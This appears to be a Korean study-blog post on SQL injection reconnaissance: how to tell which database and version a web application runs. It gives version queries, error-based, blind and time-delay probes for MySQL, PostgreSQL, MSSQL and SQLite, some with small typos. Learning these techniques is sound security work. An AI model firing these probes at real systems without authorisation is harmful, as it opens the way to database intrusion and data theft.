본문 바로가기
Web/SQL Injection

DB 종류, 버전 알아내기

by ㅇㅅㅇ.. 2024. 8. 15.

1. 쿼리 실행 결과가 출력되는 경우

  • DBMS에서 지원하는 환경 변수 값을 이용하여 버전 출력하기
    • SELECT @@version
    • SELECT version()
  • 애플리케이션에서 실행하면서 에러 메세지를 출력하는 경우, 에러 메세지에서 버전 정보 알아내기
    • SECLECT 1 UNION SELECT 1,2;
      MySQL => ERROR 1222 (21000): The used SELECT statements have different ~~~.
  • 애플리케이션에서 쿼리 실행결과로참 거진 여부만 출력할 경우, Blind SQL Injection
    • mid(@@version, 1, 1)='5';
    • substr(version(), 1, 1)='P';


2. 쿼리와 관련된 어떠한 결과도 출력하지 않는 경우

  • 시간 지연 이용
    • sleep(10)
    • pg_sleep(10)

 


 

 

 


MySQL

 

  • mysql> SELECT @@version; # SELECT version();

  • mysql> SELECT 1 UNION SELECT 1, 2;
    ERROR 1222 (21000): The used SELECT statements have a different number ~~.

  • mysql> SELECT mid(@@version, 1, 1)='5';

  • mysql> SELECT mid(@@version, 1, 1)='6' and sleep(2)

 

 


PostgreSQL

 

  • postgres=$ SELECT version();

  • postgres=$ SELECT 1 UNION SELECT 1, 2;
    ERROR: each UNIOM query must have the same...
    LINE 1: select 1 union select 1, 2;

  • postgres=$ SELECT substr(version(), 1, 1)='P';



MSSQL

  • > SELECT @@version;

  • > SELECT 1 UNION SELECT 1, 2;
    Msg 205, Level 16, State 1, Server ~~, Line 1
    All queries combinde using a UNION, INTERSECT or ~~.

  • > SELECT 1 FROM test WHERE substring(@@version, 1, 1)='M';

  • > SELECT '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5;

 

 


SQLite

  • sqlite> SELECT sqlite_version();
  • sqlite> SELECT 1 UNION SELECT 1, 2;
    Error: SELECTs to the left and right of UNION do ~~.

  • sqlite> SELECT substr(sqlite_version(), 1, 1)='3'

  • sqlite> SELECT case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
    => 버전의 첫 글자가 '3'이면 시간 지연, 아니면 1=1 실행

 


 

'Web > SQL Injection' 카테고리의 다른 글

System table  (0) 2024.08.15
Error & Time based SQL Injection  (0) 2024.08.07
Blind SQL Injection  (0) 2024.08.06
UNION / Subquery  (0) 2024.08.06
DML  (0) 2024.08.06